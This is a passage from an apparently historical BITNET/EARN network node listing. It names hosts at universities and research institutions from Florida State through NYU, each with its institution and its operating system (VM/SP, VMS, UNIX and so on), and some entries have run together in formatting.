FSUSUP FL State U Super Comp Sys VSOS

NERVM Florida NE Reg Data Ctr VM/SP

NER Florida NE Reg Data Ctr MVS/XA

FSU Florida State U VM/SP

BEARN2 FNRS/NFWO, Brussels, Belgium VM/SP

FORDMULC Fordham Univ VMS

FORDMURH Fordham Univ VMS

FANDM Franklin and Marshall Coll VMS

FANDMA Franklin and Marshall Coll VMS

FANDMB Franklin and Marshall Coll VMS

FANDMC Franklin and Marshall Coll VMS

FHCRCVM Fred Hutchinson Cancer Res Ctr VM/SP

FHCRCVAX Fred Hutchinson Cancer Res Ctr Div Clin ReVMS

DB0DSS81 Freie Universitaet Berlin SIEMENS BS2000 DB0FHI01 Fritz Haber Institut der Max Planck GesellCDC NOS/BE 1 5 FIPORT FSCC, Espoo, Finland DEC VMS DB0FUB03 FU Berlin ZEDAT CDC CDC NOS/BE 1 5 DB0FUB11 FU Berlin ZEDAT CDC, Germany IBM VM/SP GALLUA Gallaudet Univ Comp Svcs VMS

GALLUB Gallaudet Univ Comp Svcs VMS

GALLUE Gallaudet Univ Comp Svcs VMS

FRGAN01 GANIL, Caen, France MAX32 REV A 1

GECRDVM1 GE R&D VM/SP

CGEHCU61 Geneva Hospital, Switzerland UNIX

GMUVAX George Mason U VMS

GWUVM George Washington U Comp Ctr VM/SP

GUVM Georgetown U Acad CMS VM/SP

GUVAX Georgetown U Acad VAX VMS

GSUMVS1 Georgia State U ‑ MVS1 MVS/XA

GSUVM1 Georgia State U ‑ VM1 VM/SP

GSUVM2 Georgia State Univ CC VM2 VM/SP

GITVM2 Georgia Tech CAE/CAD Lab VM/SP

GITCDC1 Georgia Tech Comp Svcs NOS

GITCDC2 Georgia Tech Comp Svcs NOS

GITNVE2 Georgia Tech Comp Svcs NOS/VE

GITATT1 Georgia Tech Computing Svcs UNIX SYSTEM V GITVM1 Georgia Tech Computing Svcs VM/SP/HPO GTRI01 Georgia Tech Research Inst. VM/SP

DBNGMD21 Ges. Mathematik Datenv Bonn MVS/SP DDAGMD11 Ges. Mathematik Datenv Darmstadt IBM VM/SP R4 DEARN Gesellschaft fuer Schwerionenf IBM VM/SP R5 DDAGSI3 Gesellschaft fuer Schwerionfor IBM MVS/XA 2 1.3 VFE

FRGETA11 GETA VM/SP

GBURG Gettysburg Coll VMS

DGHGKSS4 GKSS, Geesthacht, Ger SIEMENS BS3000 E 40 DBNGMD12 GMD Bonn, Germany IBM VM/SP R5 SEGUC11 Gothenburg U Comp Ctr IBM VM/SP R2 SEGUC21 Gothenburg U Comp Ctr IBM MVS/SP 1 3.3 UKACRL Great Britain EARN London IBM VM/SP R3 FRPROG61 GRECO Programmation Bordeaux UNIX

GRIN2 Grinnell College ‑ Admin VMS

GRIN1 Grinnell College Academic VMS

FRGAG51 Groupe Astrophysique Grenoble VMS

DGAGRS2A GRS Garching IBM MVS/XA

DK0GRS11 GRS Koein VM/SP

DM0GSF11 GSF Muenchen VM/SP

DM0GSF51 GSF‑MEDIS VMS

DDAGSI5 GSI Darmstadt VAX DEC VMS 4 3 DDAGSI1 GSI Darmstadt, Germany IBM VM/SP R4 0 DDAGSI1O GSI Darmstadt, Germany IBM VM/SP R4 0 GACVAX1 Gustavus Adolphus Coll VMS

DGOGWDG1 GWD Goettingen, Germany IBM VM/SP R4 DGOGWDG5 GWD Goettingen, Germany DEC VMS

GWUVAX GWU ‑ School of Eng. VMS

SEASVM GWU ‑ School of Eng. IBM VM/SP

HADASSAH Hadassah U Hospital DEC VMS DB0HMI41 Hahn‑Meitner‑Institut Kerforschung SIEMENS BS3000 MSP 10 HAIFAUVM Haifa University IBM VM/SP R4 1 HAMPVMS Hampshire College VMS

KRHYUCC1 Hanyang Univ VMS

HUSC5 Harvard HASCS VMS

HUSC2 Harvard HASCS BSD UNIX 2.9 HUARP1 Harvard U Atmos Res Project VMS

HARVBMB Harvard U Biochem & Molecul Bio UNIX BBN HARVJMMY Harvard U Biostat Res Cmptng ULTRIX HARVBUS1 Harvard U Bus Sch VM/SP

HUCHE1 Harvard U Chemistry VAX1 VMS

HARVARD Harvard U Computer Science UNIX BSD

CFA2 Harvard U Ctr Astrophysics VMS

CFA3 Harvard U Ctr Astrophysics VMS

CFA Harvard U Ctr Astrophysics VMS

CFAAMP Harvard U Ctr Astrophysics VM/SP

CFA4 Harvard U Ctr Astrophysics VMS

CFA5 Harvard U Ctr Astrophysics VMS

CFA6 Harvard U Ctr Astrophysics VMS

CFA7 Harvard U Ctr Astrophysics VMS

CFA8 Harvard U Ctr Astrophysics VMS

CFAPS2 Harvard U Ctr Astrophysics VMS

HARVPCNA Harvard U Faculty Arts & Sciences MS‑DOS

HUGSE1 Harvard U Grad Sch of Ed VMS

HARVHEP Harvard U High En Physics Lab VMS

HUHEPL Harvard U High Energy Physics VMS

HUXTAL Harvard U Mole Bio Cmptng. VMS

HARVARDA Harvard U OIT VM/SP

HUSSLE Harvard U Physics Dept VMS

HARVUNXW Harvard U Psychology Dept UNIX BSD HARVUNXC Harvard U Psychology Dept UNIX

HARVUNXU Harvard U Science Center UNIX BSD

HUSC6 Harvard U Science Ctr UNIX

HULAW1 Harvard U Science Ctr VMS

HUSC3 Harvard U Science Ctr VMS

HUMA1 Harvard U Science Ctr UNIX BSD

HUSC7 Harvard U Science Ctr ULTRIX

HUSC8 Harvard U Science Ctr ULTRIX

HUSCGW Harvard U Science Ctr BITNET Mail Gtwy VMS

HARVUNXT Harvard U Sociology Dept UNIX BSD HARVSPHA Harvard Univ Health Sci. Cmptng. Fac. ULTRIX HARVSPHB Harvard Univ Health Sci. Cmptng. Fac. ULTRIX

FOURCC Harvey Mudd Col Comp Services VMS

HMCVAX Harvey Mudd Col Comp Srvs VMS

ECHMC Harvey Mudd Col Eng Dept VMS

FROSH Harvey Mudd Col Eng Dept VMS

YMIR Harvey Mudd Col Math Dept VMS

HECMTL01 Hautes Etudes Commerciales

HVRFORD Haverford Col Acad Comp Ctr VMS

DKHHA HDC Aarhus VMS

HUJINIX Hebrew U Comp Cnt Unix UNIX BSD 4 2 HBUNOS Hebrew U Comp Ctr NOS

HUJIVMS Hebrew U Comp Ctr DEC VMS

HUJICS Hebrew U Computer Sci UTX 32 HUJIAGRI Hebrew U Faculty of Agriculture DEC VMS

HUJIFH Hebrew U Fritz Haber Molec Dyna Ctr UNIX BSD 4 2 HUMUS Hebrew U Jerusalem Comp Sc UNIX BSD 4 2 HUJINOS2 Hebrew U Jerusalem, Israel NOS

HUJIMD Hebrew U Medical School DEC VMS

BATATA Hebrew U Molecular Ctr UNIX BSD 4 2 HUJIPRMA Hebrew U Mount Scopus Comp Ctr PRIMOS HUJIPRMB Hebrew U Mount Scopus Comp Ctr PRIMOS

HUJIVM1 Hebrew University VM/CMS

FINGATE Helsinki U Tech UNIX

FINHUTA Helsinki U Tech IBM VM/SP R4 FINHUTC Helsinki U Tech Finland IBM VM/SP R4 FINHUT Helsinki Univ of Tech IBM VM/SP R5 FINHUTCS Helsinki University of Techn UNIX 4 3 BSD FINHUTEE Helsinki University of Techn UNIX 4 3 BSD FINHUTIT Helsinki University of Techn UNIX 4 3 BSD JPNHIROA Hiroshima Univ VM/HPO DDATHD21 Hoch TH Darmstadt MVS/SP DDOHRZ11 Hoch U Dortmund IBM VM/SP R3 DHDIHEP5 Hochenergiephysik VMS

DHIURZ1 Hochschule Hildesheim Germany IBM VM/SP R4

HOFSTRA Hofstra Univ VMS

HUMAIN Howard Univ Central Comp MVS

HSETC HSETC VM/SP HPO

HUJIDS HUJI Dental School DEC MICROVMS HUMBER Humber College VM/SP

IRMIAS I Astrofisica Spaziale VM/SP

IFIIDG I Document Giurid Firenze VM/SP

ITOIMGC I Meteorologia Colonnetti VM/SP

IRMCRA I Richerche Aerospaziali IBM VM/SP IPVIAN I.A.N.‑CNR, Pava, Italy VM/SP

IGEICE I.C.E.‑CNR, Genova, Italy CDC NOS 2 4.2 FRILL52 I.L.L. , Grenoble, France DEC VMS

FRILL I.L.L. , Grenoble, France DEC VMS

FRIMFT11 I.M.F. VM/SP

FRURBB51 I.N.S.E.R.M. DEC VMS

FROPT11 I.O.T.A IBM VM/IS

TRITU I.T.U VM/SP R3

FRPGM11 I.U.T. Progem VM/SP

AWIIAE21 IAEA IBM MVS/XA 2 1.3

IRMIASI IASI CNR Roma, Italy DEC VMS V4 5 ALMCSVM1 IBM Almaden Res Ctr VM/SP

ALMCSVM2 IBM Almaden Res Ctr VM/SP

ALMCSVM6 IBM Almaden Res Ctr VM/SP

ALMCSVS5 IBM Almaden Res Ctr VM/SP

ALMVMA IBM Almaden Res Ctr VM/SP

ALMVMB IBM Almaden Res Ctr VM/SP

ALMVMC IBM Almaden Res Ctr VM/SP

ALMVMZ IBM Almaden Res Ctr VM/SP

IBMLABNN IBM Canada Labs

ISRAEARN IBM Israel SC ‑ Haifa IBM VM/SP R3 DS0LILOG IBM LILOG Project Stuttgart IBM VM/SP R3 ZURLVM1 IBM Research Lab Zurich IBM VM/SP EMDCCI11 IBM Scientific Center Madrid IBM VM/SP R4 JPNTSCVM IBM Tokyo Research VM/SP

VNET IBM VNET Gateway VM/SP

YKTVMV IBM Watson Sci Res Ctr VM/SP

WATSON IBM Watson Sci Res Ctr VM/SP

YKTVMT IBM Watson Sci Res Ctr VM/SP

YKTVMH IBM Watson Sci Res Ctr VM/SP

YKTVMX IBM Watson Sci Res Ctr VM/SP

YKTVMZ IBM Watson Sci Res Ctr VM/SP

TJWATSON IBM Watson Sci Res Ctr VM/SP

YKTVMH2 IBM Watson Sci Res Ctr Yorktwn VM/SP

DHDIBM1 IBM Wissenschaftliches Zentrum VM/SP

DHDIBM1W IBM WZH & ENC Heidelberg VM/SP

FRIBCP51 IBMC, Strasbourg, France DEC VMS

DKIBT IBT IBM VM/IS VER 1 5

SELIUI51 IDA Linkoping, Sweden DEC VMS SELIUIDA IDA Linkoping, Sweden DEC VMS BBRIBM11 IEC, La Hulpe, Belgium VM/SP HPO R4 2 AWIIEZ11 IEZ Numerischer Rechner, Wien IBM VM/SP R4 DHVIFW1 IFW, Univ Hannover, Germany IBM VM/SP R5 IITVAX Illinois Inst Tech/ACC VMS

FRINA11 INA‑PG IBM VM/IS

INDST Indiana State Univ VM/SP

IUBACS Indiana U Bloomington ACS VMS

IUP Indiana U of Penn HONEYWELL CP‑6 C00 IUBVM Indiana Univ Bloomington VM VM/XA SF RELEASE 2 IUCF Indiana Univ Cyclotron Facil VMS

IUBUS Indiana Univ Sch of Business VM/SP

INSTEPS Indiana Univ Stwde Teah Elec Prod Sys VM/SP

INDYVAX Indiana/Purdue U VMS

INDYCMS Indiana/Purdue U VM/SP

INDYMED Indiana/Purdue U VM/SP

IUIS Indiana/Purdue U MVS/XA

FRINED51 INED DEC VMS

IRMEMU INFN ‑ EMU, Roma, Italy IBM VM/SP R4

IPIVAXIN INFN ‑ Pisa DEC VMS

IPIINFN INFN Pisa IBM VM/SP R4

IRMLNF INFN/LNF DEC VMS 4 4

ITIVAX Information Technology Inst VMS

ILNPL INPL, Israel DEC VMS

FRINRA11 INRA ‑ CTIG IBM VM/SP R4

FRINRA72 INRA ‑ CTIS BULL MULTICS

FRIRTS71 INRETS BULL MULTICS

FREIBA51 INSEAD DEC VMS

FRCCRM51 INSERM, Villejuif, France DEC VMS FRIAP51 Inst d'Astrophysique Paris VMS

PTIFM Inst de Fisica e Matematica DEC VMS IMISIAM Inst Fisica Cosmica Milano VM/SP

IASSNS Inst for Advan Study VMS

IASSUN Inst for Advan Study UNIX BSD DBNMEB1 Inst fuer Med Statistik / Med EinrichtungeIBM VM/SP R5 AWIIMC11 Inst Med Computwiss Uni Wien IBM VM/SP HPO R4 2 IRMISS Instit Superiore di Sanita VM/SP

EBRIEC01 Institut d'Estudis Catalans 38 CPF DHDIHEP1 Institut fuer Hochenergiephysi IBM VM/SP R4 FRILL51 Institut Laue‑Langevin VMS

FRPSTR01 Institut Pasteur AOS/VS

FRINT51 INT VMS

FRCPN11 IN2P3 Ctr de Calcul VM/SP

IONAACAD Iona College Comp Ctr VM/SP

IONA Iona College Music Sys VM/SP

ALISUVAX Iowa S U Ames Lab Dept Energy VMS

ISUMVS Iowa State U Comp Ctr MVS/SP

ISUCARD Iowa State U Ctr. Agricul. & Rural Dev VM/SP

ISUEVAX Iowa State U Eng. VAX Cluster VMS

ISUVAX Iowa State VAX Cluster VMS

DMZNAT51 IPH KCH KPH Uni Mainz, Germany DEC VMS 4 6 DGAIPP5N IPP (MPI f. Plasmaphysik) VMS

IRIS IRIS UNIX

IRUCCVAX IRUCCVAX VMS

FRISIO11 ISIO ‑ MIAGE VM/IS

IRMISRDS ISRDS CNR Roma, Italy IBM VM/SP R5 TRIUVM11 Istanbul Univ IBM VM/SP R3 ITHACA Ithaca College VMS

ICUNIX Ithaca College ULTRIX

FRIUTO11 IUT Orsay IBM VM

JAXLAB Jackson Lab UNIX BSD

JMUVAX1 James Madison Univ VAX1 VMS

JPNJAERI Japan Atomic Energy Res Inst VM/SP

JCSVAX1 Jersey City St Co VMS

ILJCT Jerusalem Col Tech DEC VMS

JHUNIX JHU HCF UNIX

JHUVM JHU HCF VM/SP

JHUVMS JHU HCF VMS

JHHMVS JHU HCF MVS/XA

JHHVM JHU Hosp Info Sys Dept VM/SP

JHUHYG2 JHU School of Public Health ULTRIX JNETDEMO JNETDEMO, RAI, Netherlands VMS 4 6 ALIJKU21 Johannes Kepler U Linz IBM MVS/SP 1 3.8 JCUVAX John Carroll Univ VMS

JCVAXA John Carroll Univ VMS

JVNCC John Von Neumann Ctr VMS

JVNCD John Von Neumann Ctr VMS

JVNC John Von Neumann Ctr VMS

JHUHYG Johns Hopkins U VM/SP

JHUP Johns Hopkins U High En Phys VMS

JHUIGF Johns Hopkins Univ ‑ IGF VMS

APLVM Johns Hopkins Univ App Phys Lab VM/SP

JILA Joint Inst for Lab Astrophysics VMS

FINJYU Jyvaskyla Univ , Finland DEC VMS 4 4 JPNKIT Kanazawa Inst. of Tech. VM/SP

KSUVAX1 Kansas St U Comp Sci Dept UNIX BSD

KSUVM Kansas State U CC VM/SP

HRDKSW5 Kapteijn Sterrenwacht Roden VMS 4 3 BLEKUL11 Kath U Leuven VM/SP R4 BLEKUL60 Kath Univ Leuven UNIX

BLEKUL21 Kath. Univ Leuven, Belgium MVS/XA 2 2.0 BLEKUL12 Kath. Univ Leuven, Belgium VM/SP R4 BLEKUL10 Katholieke U Leuven Mech Eng VM/SP R3 1 HNYKUN55 Katholieke U Nijmegen VMS

HEARN Katholieke U Nijmegen VM/SP R5 HNYKUN11 Katholieke U Nijmegen VM/SP HPO 4 2 HNYKUN22 Katholieke U Nijmegen MVS/SP 1 3 ‑TSO/EHNYKUN51 Katholieke U Nijmegen VMS

HNYKUN53 Katholieke U Nijmegen VMS 4 1 HTIKUB5 Katholieke Uni Brabant VMS 4

HNYKUN52 Katholieke Universiteit Nijmegen VMS

JPNKEIO Keio Univ OS IV/F4 MSP

JPNKEKVX KEK Network VMS

JPNKEKTR KEK TRISTAN OS IV/F4 MSP

KENTASHT Kent S U Ashtabula VMS

KENTELIV Kent S U East Liverpool VMS

KENTGEAU Kent S U Geauga VMS

KENTVM Kent S U Info Services VM/SP

KENTVMS Kent S U Info Services VMS

KENTGOLD Kent S U Info Services VMS

KENTSALM Kent S U Salem VMS

KENTSTAR Kent S U Stark VMS

KENTTRUM Kent S U Trumbull VMS

KENTTUSC Kent S U Tuscarawas Cmpus VMS

DJUKFA11 Kernforsch Juelich IBM VM/SP HPO R4 2 DJUKFA21 Kernforsch Juelich IBM MVS/XA DKAKFK3 Kernforsch Karlsruhe MVS/SP DJUKFA53 Kernforschungsanlage Juelich G VMS

HGRRUG51 Kernfysisch Versn Inst VMS 4 2 DJUKFA54 KFA Juelich ‑ IFF VMS

DJUKFA52 KFA Juelich ‑ IPP VMS

DKAKFK11 KFK Karlsruhe IBM VM/SP DB0ZIB21 Konrad Zuse Zentrum Infor IBM MVS/SP 1 3.4 JPNKEKVM Kou Enerugi Ken, Tsukuba Japan VM/SP

SEKTH KTH UNIX BSD4 3

BLEKUL13 KUL CME VM/SP R3

JPNKUHEL Kyoto U HEPL OS IV/F4 MSP

JPNKUDPC Kyoto Univ OS IV.F4 MSP

JPNKYOTO Kyoto Univ Dept Info Sci VM/SP

JPNKISCT Kyushu Institute of Tech VM/HPO JPNKISCI Kyushu Institute of Tech ‑ Iizuka VM/HPO

JPNCCKU Kyushu Univ OSR/F4 MSP

FRSOL11 L.P.S.O., Orsay, France IBM VM/SP FRLAAS61 LAAS Toulouse France UNIX

LNCC Lab Nat'l Comp Cientificia VM/SP

FRUPS51 Lab physique des solides VAX VMS FRPOLY52 Labo Physique Nucl Haute Eng VMS

LAFAYETT Lafayette College UNIX

LAKEHEAD Lakehead U UNIX

LUSUN Lakehead U SUN UNIX

LUVMS Lakehead U MICROVMS 4 5

FRLAL51 LAL, Orsay, France DEC VMS 4 5 HWALHW5 Landbouwhogeschool Wageningen VMS 4 3 HWALHW50 Landbouwuniv Wageningen VMS 4 3 FRLAPP51 LAPP, Annecy, France DEC VMS FRLASM51 LAS Marseille France DEC VMS

FRLASH51 LASH‑ENTPE DEC VMS

LAUVAX01 Laurentian University VMS

LAUCOSC Laurentian University VMS

LAUADMIN Laurentian University VMS

LAVALVM1 Laval U VM/SP

LAWRENCE Lawrence Univ VMS

SELDC51 LDC Lund, Sweden DEC VMS SELDC52 LDC Lund, Sweden DEC VMS LEMOYNE Le Moyne College VMS

LEHICDC1 Lehigh Univ CC ‑ Cyber 850 NOS

LEHICIM1 Lehigh Univ CIM Lab VM1 VM/SP

LEHIIBM1 Lehigh Univ Comp Ctr ‑ IBM4381 VM/SP

LEHIGH Lehigh Univ Comp Ctr ‑ Ntwk Server MUSIC/SP

LCVAX Lehman Col Acad Comp Ctr VMS

DM0LRZ01 Leibniz Rechenzentrum Muenchen CDC NOS 2 5 LCLARK Lewis & Clark College BERKELEY UNIX 4.3 SELIUC51 LIDAC Linkoping, Sweden DEC VMS DHHLILOG LILOG‑R, Uni Hamburg, Germany IBM VM/SP R4 FRLIM51 LIMSI‑CNRS, Orsay, France DEC VMS

FRLMCP61 LMCP SUNOS 3 4

FRFLU51 LMFA DEC VMS

LIUVAX Long Island Univ VMS

LAMPF Los Alamos Nat'l Lab VMS

LSUENG Louisiana St U Coll Eng NOS

LSUMVS Louisiana St U Comp Ctr MVS/SP

LSUVM Louisiana St U Comp Ctr VM/SP

LSUVAX Louisiana St U Comp Ctr VMS

LSUCHE Louisiana State Univ Chem Eng VM VM/SP

LOYVAX Loyola College, MD VMS

LUCCPUA Loyola U of Chicago MVS/SP

FRLRI61 LRI‑Orsay SUN OS 3 4

NNOMED LSU Med Ctr ‑ New Orleans MVS/XA

NSHMED LSU Med Ctr ‑ Shreveport MVS/XA BDILUC11 LUC, Diepenbeek VM/SP

IRMLUISS LUISS Roma IBM VM/SP R3 1

FRLURE51 LURE VMS

LBL Lwrce Berkly Lab Comp Serv VMS

LEPICS L3, CERN, Geneva, Switzerland IBM VM/SP HPO 4 2

FRMNHN11 M.N.H.M IBM VM‑IS

MACALSTR Macalester College VMS

MCCVM1 Macomb Comm Co VM/SP

FARMNTON Maine ‑ Farmington Comp Ctr VM/SP

MANVAX Manhattan Coll VMS

MARICOPA Maricopa Cty Comm Coll Dist VMS

MARIST Marist Col VM/SP

MARISTC Marist Col MUSIC

MARISTA Marist Col MUSIC

MARISTB Marist Col MUSIC

MARFSHVM Marist Col VM/SP

MARISTF Marist Col MUSIC

MARMVS Marist Col MVS/XA

MARVMXA Marist Col VM/XA/SP

MUCSD Marquette Univ VMS

MUVMS1 Marshall U Comp Ctr VMS

MITFBNML Mass Inst of Tech FB Nat'l Magnet Lab VMS

MITVMA Mass Inst of Tech Info Sys VM/SP

MITRLEVM Mass Inst of Tech Res Lab Elec VM/SP

MITLNS Mass Inst of Tech. VMS

SLOAN Mass Inst Tech Sloan Sch of Mgmt VM/SP

DK0UMI1 Mathem Institut Univ Koein IBM VM/SP R4 DM0MPI11 Max Planck I Physik Astrophysi IBM VM/SP R4 1 DGAMPE5D Max Planck Inst Extraterr Physik VMS

HNYMPI51 Max Planck Inst Nijmegen VMS

DM0MPF11 Max Planck Inst Psych Forsch IBM VM/SP R3 1 HNYMPI52 Max Planck Inst., Nijmegen, NL VMS 4 3 DGAIPP1S Max‑Planck‑Institut fuer Plasm IBM VM/SP R5

MCGILLB McGill U MUSIC

MCGILLC McGill U MUSIC

MCGILLA McGill U Comp Centre MUSIC

MCGILL2 McGill U Comp Centre VM/HPO

MCGILL1 McGill U Comp Ctr VM/SP

MCGILLM McGill U MUSIC Prod Group MUSIC

MCGILL3 McGill U MUSIC Prod Group VM/SP

MCGILLVS McGill Univ CC MVS/SP

MUSOCS McGill Univ Comp Sci UNIX

MCMASTER McMaster U CIS VMS

MCMVM1 McMaster U Inf Proc Svcs VM

TANDEM McMaster Univ VMS

MCOIARC Med Col Ohio Img Anal Res Ctr VMS

MUSC Med U S Carolina ‑ csx/irm VMS

MCO Medical College of Ohio VM/SP

MEDCOLWI Medical College of Wisconsin VMS

MUN Memorial U. of NF VMS

MERIT Merit Comp Net VM/SP

MIAMIU Miami U Academic Comp Service VM/SP

MIAVX2 Miami Univ Hamilton Campus VAX VMS

MIAVX3 Miami Univ Middletown Campus VAX VMS

MIAVX1 Miami Univ Oxford Campus VAX VMS

MSU Mich State Univ. Computer Lab VM/SP

MSUEGR Mich State Univ. Engineering VMS

MTUVAXC Michigan Tech Univ Comp Sci Res VAX UNIX

MTUVAXB Michigan Tech Univ Computer Sci UNIX

MTUVAXA Michigan Tech Univ Ctr for Exper Comp VMS

MTUS5 Michigan Tech Univ Sys 5 VM/SP/HPO TRMETU Middle East Tech Uni Ankara MCP

MIDD Middlebury College VMS

MILLERSV Millersville Univ of PA VM

TWNMOE10 Ministry of Ed Taiwan VM/SP HPO TWNMOE20 Ministry of Ed Taiwan VM/SP

MSSTATE Mississippi State Univ CC 1100 OS1100

MITWCCF MIT ‑ Whitaker College Health Sci, Tech & VMSt

MITVMC MIT Admin VM/CMS VM/SP/HPO MITVMD MIT Admin VM/CMS VM/SP

MITVBUD MIT Budget, Actng, & Sponsos Programs VMS

MITWIBR MIT Whitehead Instit for Biomed Res VMS

MITBATES MIT Wm. Bates Linear Accel Lab VMS

MTSUNIX1 Montana State Univ ULTRIX TECMTYVM Monterrey Inst of Tech VM/SP

TECMTYSB Monterrey Inst of Tech VM/SP

VMTECMEX Monterrey Instit of Tech VM/SP

VMTECQRO Monterrey Instit of Tech Queretaro VM/SP

MONTCOLA Montgomery Coll VM/SP

MONTCOLB Montgomery Coll VM/SP

MONTCOLC Montgomery Coll MUSIC/SP/VM MTAM Mount Allison U MUSIC

MTA Mount Allison U Comp Ctr VM/SP RELEASE 3 DS0MPA52 MPA Stuttgart, Germany DEC VMS 4 7 DM0MPB51 MPI Biochemie Muenchen DEC VMS 4 6 DTUMPI51 MPI Biologie Tuebingen DEC VAX VMS 4 7

DMZMPI5P MPI Chemie VMS

DHHMPI5D MPI Fuer Meteorologie Hamburg VMS

DM0MPI12 MPI fuer Physik, Muenchen IBM VM/SP R5 0 DM0MPI53 MPI fuer Physik, Muenchen DEC VMS 4 6 DHDMPI50 MPI Kernphysik Heidelberg DEC VMS 4 7 DHDMPI5 MPI Kernphysik Heidelberg DEC VMS 4 7 DHDMPI5U MPI Kernphysik Heidelberg DEC VMS 4 6 DHDMPI5V MPI Kernphysik Heidelberg DEC VMS 4 7 DHDMPI5H MPI Kernphysik Heidelberg DEC VMS 4 7 DHDMPI5D MPI Kernphysik Heidelberg DEC MICROVMS 4 5 DHDMPI52 MPI Kernphysik Heidelberg DEC VMS 4 7 DGAIPP5D MPI Plasmaphysik Garching DEC VMS 4 5 DS0MPI11 MPI Stuttgart, Germany IBM VM/SP R5 MSUCEM MSU Dept. Chemistry VMS

MSUKBS MSU KBS VMS

MSUNSCL MSU NSCL VMS

MSUPA MSU Physics Dept VMS

MSVU Mt St Vincent U VMS

MSRCVAX Mt. Sinai Sch of Med Res Comp of CUNY VMS

NCSUNE N Caro S U Dept of Nucl Eng VMS

NIU N Ill U MVS

NIUENG N Ill U VM/SP

UMDNJVM1 N J Univ. Med & Dent VM/SP

CANADA01 N.A.C. VM/SP

JPNNUHEP Nagoya U HEPL OS IV/F4 MSP JPNNUCBA Nagoya Univ of Commerce VM/SP

NTIVAX Nanyang Technological Inst VMS

JPNCUN10 Nanzan Univ VM/SP

JPNCUN20 Nanzan Univ VM/SP

NASAGISS NASA Goddard Inst Space Stud VM/SP

IAFBIT NASA GSFC Image Analysis Fac VMS

SCFMVS NASA Space & Earth Sci CC MVS/SP

SCFVM NASA Space & Earth Sci CC VM/HPO

VPFMVS NASA Space & Earth Sci CC MVS/SP

VPFVM NASA Space & Earth Sci CC VM/SP

AOVAX1 Nat'l A & I Ctr ‑ Arecibo Observ VMS

NAS Nat'l Acad of Sci PC/Netwrk PC DOS

NASVM Nat'l Acad of Sci VM/SP VM/SP

TWNCTUCS Nat'l Chiao‑Tung Univ VMS

NCARIO Nat'l Ctr for Atmosph Res VM/SP HPO NIEHS Nat'l Instit of Environ Health Sci VMS

NIEHSC Nat'l Instit of Environ Health Sci VMS

NIEHSD Nat'l Instit of Environ Health Sci VMS

NRAO Nat'l Radio Astronomy Observ. VMS

TWNCTU01 National Chia‑Tung Univ VMS

NIHCUDEC National Institutes of Health (DEC‑10) TOPS‑10

NIHCU National Institutes of Health (IBM 370) MVS/XA NIHCULSU National Institutes of Health (LSU) VMS

NIHCUSV1 National Institutes of Health (Server 1) VM/SP

NIHCUTST National Institutes of Health (Test/Dev) MVS/XA

NIHDCRT National Institutes of Health DCRT 3PLUS

NIHKLMB National Institutes of Health, NIDDK/LMB VMS

TSSNRC00 National Res Council TSS/370

NRCNET National Research Council VAX/VMS

NRCCAD National Research Council VAX/VMS MVSNRC00 National Research Council MVS/XA ICNUCEVM National U Comp Ctr ‑ Pisa VM/SP

ICNUCEVS National U Comp Ctr ‑ Pisa IBM MVS

NUSVM National Univ of Singapore VM HPO 4.2 NUSEEV National Univ of Singapore VMS

NUSDISCS National Univ of Singapore VMS

NUS3090 National Univ of Singapore VM HPO 4.2 ILNCRD Natl Cncl Res Dev MSD DEC VMS

ILNITE Natl Inst for Test and Eval DEC VMS NRCVM01 Natl Res Cncl Canada Comp Ctr VM/SP

NAVPGS Naval Postgrad Sch VM/SP

GUNBRF NBRF/ Georgetown Univ Med Ctr VMS

CMEAMRF NBS Adv. Mfg. Res Fac. VMS

NBS NBS Consolidated Scie Comp Sys NOS

NBSENH NBS Ex. Networks Host VMS

NBSMICF NBS Mgmt. Info. Comp. Fac. VM/SP

MSMFVM NBS Molecular Structure Model Fac VM

NCSUPHYS NC State Univ VMS

NCSUMAEV NCSI Mech & Aerospace Eng VMS

NCSUMAE NCSU Mech & Aerospace Eng VM/SP

NCSUCE NCSU Civil Eng VMS

NCSUVAX NCSU Computing Center VMS

NCSUVM NCSU Computing Center VM/SP4

NCSUECE NCSU Elec & Comp Eng VMS

NCSUIE NCSU Industrial Eng VMS

NCSUMTE NCSU Materials Eng VMS

NDSUVM1 ND Higher Ed Computer Net VM/SP

NDSUVAX ND Higher Ed Computer Net UNIX

NEVIS Nevis Lab, Columbia U VMS

NJECNVM New Jersey Edu Computer Net VM/SP

NJECNVS New Jersey Edu Computer Net MVS/SP NJECNVM1 New Jersey Edu Computer Net VM/SP

NJECNVM2 New Jersey Edu Computer Net VM/XA

ORION New Jersey Inst of Tech Conf Ctr VM/SP

MERCURY New Jersey Inst of Tech Conf Ctr VM/SP

NMSUMVS1 New Mexico St U Comp Ctr MVS/SP

NMSUVM1 New Mexico St U Comp Ctr VM/SP

NMSU New Mexico St U Comp Ctr SUNOS

NYSPI New York Psych Inst VM/SP

NYUACF New York U Academic Comp VMS

NYUACF7 New York U Academic Comp VMS

NYUACF1 New York U Academic Comp VMS

NYUACF6 New York U Academic Comp VMS

NYUCIMSA New York U CIMS VM/SP

NYUCCVM New York U Comp Ctr VM/SP

NYUCMCL1 New York U Courant Math & Comp. Lab VMS

NYUMED New York U Med Ctr VMS

DKNBI51 Niels Bohr Institute, Denmark DEC VMS 4 6 JPNNIHOC Nihon U Col of Commerce VM/SP

UMDNJPW1 NJ Univ Med & Dent VSE/SP UMDNJVM2 NJ Univ of Med & Dent VM/SP

NOFDB NLH‑Aas, Norway VM/SP R5 NCSUMEAS North Carolina St U VMS

NCSUSTAT North Carolina St U VMS

NCSUCHE North Carolina St U Chem Engr VMS

NCSUMATH North Carolina State U VM/SP4

NCSUADM North Carolina State Univ Admin Comp Ctr MVS/SP

NEMOVM Northeast Missouri State Univ VM/SP

NEMOMUS Northeast Missouri State Univ VM/SP

NUHUB Northeastern U Comptng Res Ctr VMS

NEUVMS Northeastern U Dept Physics VMS

NAUVM Northern Arizona Univ VM/SP HPO NAUVAX Northern Arizona Univ VMS

NUACC Northwestern Univ Vogelback Comp Ctr VMS

NUCYB Northwestern Univ Vogelback Comp Ctr NOS

NRCBSP NRC Bilogical Sciences Protein VAX/VMS

NRCCIT NRC Cd

NRCHEM NRC Chemistry Division VAX/VMS

NRCDRA NRC Dominion Astrophysical Obs VAX/VMS

NRCDAO NRC Dominion Radio Astro Obs VAX/VMS

NRCHEP NRC High Energy Physics VAX/VMS

NRCHYD NRC Hydraulics Lab VAX/VMS

NRCIDO NRC Industry Development Off VAX/VMS

NRCPHY NRC Physics Division VAX/VMS

NSF NSF UNIX

CRNLAES NYSAES PRIMOS

CERAMICS NYSC of Ceramics at Alfred Univ VMS

NYBVX1 NYU Graduate Business School VMS

